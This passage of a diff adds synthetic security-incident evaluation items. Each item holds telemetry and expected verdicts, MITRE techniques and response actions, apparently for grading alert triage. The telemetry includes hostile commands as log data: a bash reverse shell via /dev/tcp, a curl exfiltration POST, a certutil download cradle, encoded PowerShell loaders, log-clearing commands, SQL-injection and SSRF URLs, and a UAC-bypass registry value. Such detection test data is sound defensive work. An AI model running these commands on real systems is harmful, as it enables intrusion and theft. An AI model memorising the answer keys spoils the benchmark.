+ "title": "Vendor admin password reset abuse for [email protected]",
+ "description": "Password reset for [email protected] performed by helpdesk in response to social-engineering call from 91.134.231.15. Token claimed within 90 seconds.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Vendor admin password reset abuse for [email protected]",
+ "severity": "high",
+ "template_id": "helpdesk-password-reset-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Reset user password.",
+ "UserId": "[email protected]",
+ "TargetUserId": "[email protected]",
+ "ClientIP": "10.0.0.50"
+ },
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "91.134.231.15",
+ "resultType": 0,
+ "seconds_after_reset": 87
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.004",
+ "T1078"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-159",
+ "provenance": "synthetic",
+ "title": "OAuth refresh-token theft for [email protected]",
+ "description": "Refresh token for [email protected] replayed from 10.0.99.42. Granted access to mailbox + OneDrive without re-prompt.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth refresh-token theft for [email protected]",
+ "severity": "high",
+ "template_id": "oauth-refresh-token-theft"
+ },
+ "telemetry": [
+ {
+ "source": "azure_signin",
+ "category": "SignInLogs",
+ "userPrincipalName": "[email protected]",
+ "ipAddress": "10.0.99.42",
+ "resultType": 0,
+ "authenticationProtocol": "oAuth2",
+ "grantType": "refresh_token",
+ "resourceDisplayName": "Microsoft Graph"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-160",
+ "provenance": "synthetic",
+ "title": "Container image with embedded backdoor pulled by AZURE-VM-FIN-001",
+ "description": "Image registry/repo:malicious-backdoor pulled by AZURE-VM-FIN-001. Layer scan flagged embedded netcat reverse-shell binary.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container image with embedded backdoor pulled by AZURE-VM-FIN-001",
+ "severity": "high",
+ "template_id": "malicious-container-image"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
+ "username": "system:serviceaccount:default:deploy"
+ },
+ "requestObject": {
+ "spec": {
+ "containers": [
+ {
+ "image": "registry.local/repo:malicious-backdoor"
+ }
+ ]
+ }
+ },
+ "node": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "edr",
+ "rule": "Image scan: embedded netcat reverse-shell binary",
+ "severity": "high",
+ "Computer": "AZURE-VM-FIN-001",
+ "image": "registry.local/repo:malicious-backdoor",
+ "cve_layer_count": 2
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1610"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-161",
+ "provenance": "synthetic",
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "description": "Outlook inbox rule created for [email protected] that forwards all mail to external address at 185.220.101.7. Linked to LockBit 3.0.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Outlook rule auto-forwarding mail from [email protected]",
+ "severity": "high",
+ "template_id": "outlook-auto-forward-rule"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Sync",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true,
+ "MarkAsRead": true
+ },
+ "threat_actor": "LockBit 3.0"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1564.008",
+ "T1114.003"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-162",
+ "provenance": "synthetic",
+ "title": "Linux journald log tampering on WIN-PROD-WEB02",
+ "description": "journalctl --rotate --vacuum-time=1s observed on WIN-PROD-WEB02 by [email protected]; recent journal entries purged. Indicator removal.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Linux journald log tampering on WIN-PROD-WEB02",
+ "severity": "high",
+ "template_id": "linux-journald-tampering"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/journalctl",
+ "a0": "journalctl",
+ "a1": "--rotate",
+ "a2": "--vacuum-time=1s",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "[email protected]"
+ }
+ ],
+ "expected_disposition": "suspicious",
+ "expected_techniques": [
+ "T1070.002"
+ ],
+ "expected_actions": [
+ "escalate",
+ "create_ticket",
+ "notify"
+ ]
+ },
+ {
+ "id": "INC-EVAL-163",
+ "provenance": "synthetic",
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "description": "Self-hosted CI runner AZURE-VM-FIN-001 compromised. Job triggered from PR injected secret exfil step; secrets posted to 172.16.50.7.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Compromised CI runner on AZURE-VM-FIN-001 pushing to production",
+ "severity": "critical",
+ "template_id": "compromised-ci-runner"
+ },
+ "telemetry": [
+ {
+ "source": "github_audit",
+ "action": "workflow_run.requested",
+ "workflow": "deploy.yml",
+ "actor": "external-contrib",
+ "repository": "aisoc/web",
+ "event": "pull_request",
+ "runner": "AZURE-VM-FIN-001"
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/curl",
+ "a1": "-X",
+ "a2": "POST",
+ "a3": "https://172.16.50.7/exfil",
+ "hostname": "AZURE-VM-FIN-001",
+ "user": "ci-runner",
+ "secret_detected": true
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.002",
+ "T1552.004"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-164",
+ "provenance": "synthetic",
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "description": "VPN login for [email protected] from 10.0.99.42 (new country, no prior history). Subsequent lateral SMB scan from VPN range to LIN-EDGE-VPN02.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Suspicious VPN login from new geography for [email protected]",
+ "severity": "high",
+ "template_id": "vpn-new-geography"
+ },
+ "telemetry": [
+ {
+ "source": "vpn",
+ "action": "login_success",
+ "user": "[email protected]",
+ "src_ip": "10.0.99.42",
+ "geo_country": "UA",
+ "first_login_country": true
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 5145,
+ "Computer": "LIN-EDGE-VPN02",
+ "SubjectUserName": "[email protected]",
+ "ShareName": "\\\\*\\IPC$",
+ "IpAddress": "10.0.99.42",
+ "EventCount": 128
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.004",
+ "T1021.002"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-165",
+ "provenance": "synthetic",
+ "title": "Privileged command run as service account on K8S-PROD-CLUSTER",
+ "description": "Service account [email protected] (no interactive use expected) ran privileged net.exe + wevtutil cl Security on K8S-PROD-CLUSTER. Anomalous.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Privileged command run as service account on K8S-PROD-CLUSTER",
+ "severity": "high",
+ "template_id": "service-account-privileged-command"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "K8S-PROD-CLUSTER",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\wevtutil.exe",
+ "CommandLine": "wevtutil cl Security",
+ "LogonType": 5
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1078.001",
+ "T1070.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-166",
+ "provenance": "synthetic",
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "description": "Inbound email from 203.0.113.45 delivered an Office document with a malicious VBA macro to [email protected]. Attachment opened on LIN-BUILD-CI03; macro spawned cmd.exe and downloaded a stage-2 payload from a known Emotet epoch 5 infrastructure.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Spear-phishing email with macro-laden attachment delivered to [email protected]",
+ "severity": "high",
+ "template_id": "phishing-macro-email"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "Send",
+ "UserId": "[email protected]",
+ "ClientIP": "203.0.113.45",
+ "Subject": "Q4 invoice (action required)",
+ "AttachmentNames": [
+ "invoice_q4.docm"
+ ]
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\cmd.exe",
+ "ParentImage": "C:\\Program Files\\Microsoft Office\\root\\Office16\\WINWORD.EXE",
+ "CommandLine": "cmd.exe /c powershell -nop -w hidden -enc <stage2>"
+ },
+ {
+ "source": "edr",
+ "rule": "Office macro spawned cmd.exe",
+ "severity": "high",
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "threat_actor": "Emotet epoch 5"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1566.001",
+ "T1059.005"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-167",
+ "provenance": "synthetic",
+ "title": "Exploitation of public-facing web app on AZURE-VM-FIN-001",
+ "description": "WAF logs show SQL-injection and SSRF probes from 198.51.100.23 against the application on AZURE-VM-FIN-001. One request returned 200 with internal cloud-metadata content. Likely exploitation of CVE-2024-1234.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Exploitation of public-facing web app on AZURE-VM-FIN-001",
+ "severity": "critical",
+ "template_id": "webapp-sqli-ssrf-exploit"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AZURE-VM-FIN-001/search?q=' OR 1=1--",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SQLI:1011",
+ "cve": "CVE-2024-1234"
+ },
+ {
+ "source": "web_access",
+ "http_method": "GET",
+ "url": "https://AZURE-VM-FIN-001/proxy?u=http://169.254.169.254/latest/meta-data/",
+ "status_code": 200,
+ "src_ip": "198.51.100.23",
+ "user_agent": "curl/8.4.0",
+ "rule_match": "WAF:SSRF:2007"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1190",
+ "T1082"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-168",
+ "provenance": "synthetic",
+ "title": "Watering-hole exploit served from internal Confluence by 172.16.50.7",
+ "description": "Internal Confluence page injected with malicious JavaScript by 172.16.50.7. Drive-by exploit triggered browser exploitation on multiple visitors including [email protected]. Linked to ALPHV/BlackCat TTPs.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Watering-hole exploit served from internal Confluence by 172.16.50.7",
+ "severity": "high",
+ "template_id": "confluence-watering-hole"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "https://confluence.example.com/pages/editpage.action?pageId=8472",
+ "status_code": 200,
+ "src_ip": "172.16.50.7",
+ "user_agent": "Mozilla/5.0",
+ "payload_excerpt": "<script src=//172.16.50.7/x.js></script>"
+ },
+ {
+ "source": "edr",
+ "rule": "Browser exploitation: drive-by JavaScript loader",
+ "severity": "high",
+ "Computer": "WIN-HR-DESKTOP",
+ "User": "[email protected]",
+ "threat_actor": "ALPHV/BlackCat"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1189",
+ "T1203"
+ ],
+ "expected_actions": [
+ "block_ip",
+ "block_domain",
+ "block_hash",
+ "block_ioc"
+ ]
+ },
+ {
+ "id": "INC-EVAL-169",
+ "provenance": "synthetic",
+ "title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",
+ "description": "CI pipeline on WIN-PROD-WEB02 installed compromised npm package `event-stream`. Post-install hook executed reverse shell to 91.134.231.15. Build artefacts may be tainted.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Supply-chain compromise: malicious npm package on WIN-PROD-WEB02",
+ "severity": "critical",
+ "template_id": "npm-supply-chain"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/node",
+ "a0": "node",
+ "a1": "/tmp/node_modules/event-stream/postinstall.js",
+ "hostname": "WIN-PROD-WEB02",
+ "user": "ci-runner"
+ },
+ {
+ "source": "github_audit",
+ "action": "workflow_run.completed",
+ "workflow": "ci.yml",
+ "actor": "dependabot[bot]",
+ "repository": "aisoc/web",
+ "conclusion": "success",
+ "package_added": "[email protected]"
+ },
+ {
+ "source": "edr",
+ "rule": "npm post-install reverse shell",
+ "severity": "high",
+ "Computer": "WIN-PROD-WEB02",
+ "User": "ci-runner",
+ "dest_ip": "91.134.231.15",
+ "dest_port": 4444
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1195.001",
+ "T1059.007"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-170",
+ "provenance": "synthetic",
+ "title": "Malicious USB autorun on air-gapped host AWS-EC2-PROD-API",
+ "description": "USB device inserted on air-gapped AWS-EC2-PROD-API by [email protected]. AutoRun executed Python stager that collected local files. Data staged in C:\\Temp\\.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious USB autorun on air-gapped host AWS-EC2-PROD-API",
+ "severity": "high",
+ "template_id": "usb-autorun-airgap"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 6416,
+ "Computer": "AWS-EC2-PROD-API",
+ "SubjectUserName": "[email protected]",
+ "ClassName": "USB",
+ "DeviceDescription": "SanDisk Cruzer 16GB"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "Image": "C:\\Python311\\python.exe",
+ "ParentImage": "C:\\Windows\\System32\\rundll32.exe",
+ "CommandLine": "python.exe E:\\autorun.py --stage C:\\Temp\\"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1091",
+ "T1005"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-171",
+ "provenance": "synthetic",
+ "title": "OAuth consent phishing targeting [email protected]",
+ "description": "Malicious OAuth application granted Mail.Read and Files.Read.All scopes by [email protected]. Inbox forwarding rule created sending mail to 45.142.122.111.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "OAuth consent phishing targeting [email protected]",
+ "severity": "high",
+ "template_id": "oauth-consent-phish"
+ },
+ "telemetry": [
+ {
+ "source": "m365_audit",
+ "Workload": "AzureActiveDirectory",
+ "Operation": "Consent to application.",
+ "UserId": "[email protected]",
+ "ApplicationId": "00000003-0000-0ff1-ce00-000000000000",
+ "ConsentedScopes": [
+ "Mail.Read",
+ "Files.Read.All",
+ "offline_access"
+ ]
+ },
+ {
+ "source": "m365_audit",
+ "Workload": "Exchange",
+ "Operation": "New-InboxRule",
+ "UserId": "[email protected]",
+ "Parameters": {
+ "Name": "Auto-fwd",
+ "ForwardTo": "[email protected]",
+ "DeleteMessage": true
+ }
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1528",
+ "T1550.001"
+ ],
+ "expected_actions": [
+ "disable_user",
+ "suspend_user",
+ "block_user_signin"
+ ]
+ },
+ {
+ "id": "INC-EVAL-172",
+ "provenance": "synthetic",
+ "title": "Obfuscated PowerShell dropper executed on AWS-EC2-PROD-API",
+ "description": "PowerShell dropper executed on AWS-EC2-PROD-API by [email protected]; payload base64-encoded and decoded in-memory. Linked to Volt Typhoon ransomware staging.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Obfuscated PowerShell dropper executed on AWS-EC2-PROD-API",
+ "severity": "critical",
+ "template_id": "powershell-obfuscated-dropper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "CommandLine": "powershell.exe -nop -w hidden -enc JABzAD0ATgB..."
+ },
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4104,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "ScriptBlockText": "$s=[System.Convert]::FromBase64String(...);[Reflection.Assembly]::Load($s).EntryPoint.Invoke(...)",
+ "threat_actor": "Volt Typhoon"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1059.001",
+ "T1027"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-173",
+ "provenance": "synthetic",
+ "title": "Living-off-the-land: certutil download cradle on MAC-LEGAL-LAPTOP",
+ "description": "certutil.exe -urlcache invoked from cmd.exe on MAC-LEGAL-LAPTOP. cmd.exe was spawned by outlook.exe. Payload downloaded from 192.168.1.100.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Living-off-the-land: certutil download cradle on MAC-LEGAL-LAPTOP",
+ "severity": "high",
+ "template_id": "certutil-download-cradle"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "certutil -urlcache -split -f http://192.168.1.100/p.exe %TEMP%\\p.exe"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 3,
+ "Computer": "MAC-LEGAL-LAPTOP",
+ "Image": "C:\\Windows\\System32\\certutil.exe",
+ "DestinationIp": "192.168.1.100",
+ "DestinationPort": 80,
+ "Protocol": "tcp"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1105",
+ "T1218.009"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-174",
+ "provenance": "synthetic",
+ "title": "Container runtime abuse: malicious `docker run` on WIN-DC-SECONDARY",
+ "description": "Unauthenticated Docker API on WIN-DC-SECONDARY exploited from 198.51.100.23. Container with cryptominer spawned. CPU on host saturated to 95%.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Container runtime abuse: malicious `docker run` on WIN-DC-SECONDARY",
+ "severity": "high",
+ "template_id": "docker-runtime-abuse"
+ },
+ "telemetry": [
+ {
+ "source": "web_access",
+ "http_method": "POST",
+ "url": "http://WIN-DC-SECONDARY:2375/containers/create",
+ "status_code": 201,
+ "src_ip": "198.51.100.23",
+ "request_body": {
+ "Image": "monero/xmrig",
+ "HostConfig": {
+ "Privileged": true
+ }
+ }
+ },
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "execve",
+ "exe": "/usr/bin/docker",
+ "a0": "docker",
+ "a1": "run",
+ "a2": "--privileged",
+ "hostname": "WIN-DC-SECONDARY",
+ "user": "root"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1610",
+ "T1059.004",
+ "T1496"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-175",
+ "provenance": "synthetic",
+ "title": "Malicious WMI subscription on MAC-CFO-LAPTOP",
+ "description": "Permanent WMI event subscription created on MAC-CFO-LAPTOP by [email protected]. Consumer runs encoded script. Persistence + execution mechanism.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Malicious WMI subscription on MAC-CFO-LAPTOP",
+ "severity": "high",
+ "template_id": "wmi-event-subscription"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 19,
+ "Computer": "MAC-CFO-LAPTOP",
+ "User": "[email protected]",
+ "EventNamespace": "ROOT\\Subscription",
+ "Name": "UpdaterFilter",
+ "Query": "SELECT * FROM __InstanceModificationEvent WITHIN 60"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 21,
+ "Computer": "MAC-CFO-LAPTOP",
+ "Operation": "Created",
+ "Name": "UpdaterConsumer",
+ "Type": "CommandLineEventConsumer",
+ "Destination": "powershell.exe -enc <encoded>"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1546.003",
+ "T1059.001"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-176",
+ "provenance": "synthetic",
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "description": "New value written to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run on AWS-EC2-PROD-API. Points to roaming binary signed with revoked cert. Linked to APT29.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Registry Run key persistence created by [email protected] on AWS-EC2-PROD-API",
+ "severity": "medium",
+ "template_id": "registry-run-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKU\\S-1-5-21-...\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater",
+ "Details": "C:\\Users\\[email protected]\\AppData\\Roaming\\updater.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "Persistence: Registry Run with revoked-cert signed binary",
+ "severity": "high",
+ "Computer": "AWS-EC2-PROD-API",
+ "User": "[email protected]",
+ "threat_actor": "APT29"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1547.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-177",
+ "provenance": "synthetic",
+ "title": "Scheduled task persistence on WIN-DC-SECONDARY",
+ "description": "Hidden scheduled task created on WIN-DC-SECONDARY by [email protected]: triggers every 30 minutes, runs script from %APPDATA%\\Roaming. Persistence mechanism.",
+ "severity": "medium",
+ "raw_alert": {
+ "title": "Scheduled task persistence on WIN-DC-SECONDARY",
+ "severity": "medium",
+ "template_id": "scheduled-task-persistence"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4698,
+ "Computer": "WIN-DC-SECONDARY",
+ "SubjectUserName": "[email protected]",
+ "TaskName": "\\Microsoft\\Windows\\UpdaterTask",
+ "TaskContent": "<Hidden>true</Hidden><Exec>%APPDATA%\\Roaming\\u.ps1</Exec>"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "WIN-DC-SECONDARY",
+ "Image": "C:\\Windows\\System32\\schtasks.exe",
+ "ParentImage": "C:\\Windows\\System32\\cmd.exe",
+ "CommandLine": "schtasks /Create /SC MINUTE /MO 30 /TN UpdaterTask /TR \"powershell -f %APPDATA%\\Roaming\\u.ps1\" /F",
+ "User": "[email protected]"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.005"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-178",
+ "provenance": "synthetic",
+ "title": "Firmware implant detected on UEFI partition of MAC-CFO-LAPTOP",
+ "description": "UEFI secure-boot violation on MAC-CFO-LAPTOP. Unknown module detected in firmware. Signature matches MosaicRegressor implant.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Firmware implant detected on UEFI partition of MAC-CFO-LAPTOP",
+ "severity": "critical",
+ "template_id": "uefi-firmware-implant"
+ },
+ "telemetry": [
+ {
+ "source": "windows_security",
+ "channel": "Security",
+ "Provider": "Microsoft-Windows-Security-Auditing",
+ "EventID": 4673,
+ "Computer": "MAC-CFO-LAPTOP",
+ "ObjectName": "\\Device\\HarddiskVolume1\\EFI\\Microsoft\\Boot\\bootmgfw.efi",
+ "ProcessName": "C:\\Windows\\System32\\driver_signing.exe"
+ },
+ {
+ "source": "edr",
+ "rule": "UEFI implant: MosaicRegressor signature match",
+ "severity": "critical",
+ "Computer": "MAC-CFO-LAPTOP",
+ "indicator_path": "ESP:/EFI/Boot/bootx64.efi"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1542.001",
+ "T1027.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-179",
+ "provenance": "synthetic",
+ "title": "Backdoor cron job installed on LIN-BUILD-CI03",
+ "description": "/etc/cron.d entry created by [email protected] on LIN-BUILD-CI03. Reverse shell beacon to 10.0.99.42 every 5 minutes.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "Backdoor cron job installed on LIN-BUILD-CI03",
+ "severity": "high",
+ "template_id": "cron-backdoor"
+ },
+ "telemetry": [
+ {
+ "source": "linux_auditd",
+ "type": "SYSCALL",
+ "syscall": "openat",
+ "exe": "/usr/bin/vi",
+ "path": "/etc/cron.d/zz-update",
+ "hostname": "LIN-BUILD-CI03",
+ "user": "[email protected]",
+ "a2": "O_WRONLY|O_CREAT"
+ },
+ {
+ "source": "linux_journald",
+ "_SYSTEMD_UNIT": "cron.service",
+ "MESSAGE": "(root) CMD (/bin/bash -i >& /dev/tcp/10.0.99.42/4444 0>&1)",
+ "hostname": "LIN-BUILD-CI03"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1053.003",
+ "T1071.001"
+ ],
+ "expected_actions": []
+ },
+ {
+ "id": "INC-EVAL-180",
+ "provenance": "synthetic",
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "description": "fodhelper.exe abuse on LIN-BUILD-CI03 by [email protected]; auto-elevation triggered without prompt. Process tree shows escalation to SYSTEM.",
+ "severity": "high",
+ "raw_alert": {
+ "title": "UAC bypass observed on LIN-BUILD-CI03",
+ "severity": "high",
+ "template_id": "uac-bypass-fodhelper"
+ },
+ "telemetry": [
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 13,
+ "Computer": "LIN-BUILD-CI03",
+ "User": "[email protected]",
+ "EventType": "SetValue",
+ "TargetObject": "HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command",
+ "Details": "C:\\Windows\\System32\\cmd.exe /c whoami"
+ },
+ {
+ "source": "sysmon",
+ "channel": "Microsoft-Windows-Sysmon/Operational",
+ "Provider": "Microsoft-Windows-Sysmon",
+ "EventID": 1,
+ "Computer": "LIN-BUILD-CI03",
+ "Image": "C:\\Windows\\System32\\fodhelper.exe",
+ "ParentImage": "C:\\Windows\\explorer.exe",
+ "IntegrityLevel": "High",
+ "User": "SYSTEM"
+ }
+ ],
+ "expected_disposition": "malicious",
+ "expected_techniques": [
+ "T1548.002"
+ ],
+ "expected_actions": [
+ "isolate_host",
+ "quarantine_host",
+ "contain_host"
+ ]
+ },
+ {
+ "id": "INC-EVAL-181",
+ "provenance": "synthetic",
+ "title": "Container escape via privileged pod on WIN-DC-SECONDARY",
+ "description": "Kubernetes privileged pod created on WIN-DC-SECONDARY by [email protected]. cgroup escape to host namespace observed. Node filesystem accessed.",
+ "severity": "critical",
+ "raw_alert": {
+ "title": "Container escape via privileged pod on WIN-DC-SECONDARY",
+ "severity": "critical",
+ "template_id": "k8s-privileged-pod-escape"
+ },
+ "telemetry": [
+ {
+ "source": "k8s_audit",
+ "apiVersion": "audit.k8s.io/v1",
+ "kind": "Event",
+ "verb": "create",
+ "objectRef": {
+ "resource": "pods"
+ },
+ "user": {
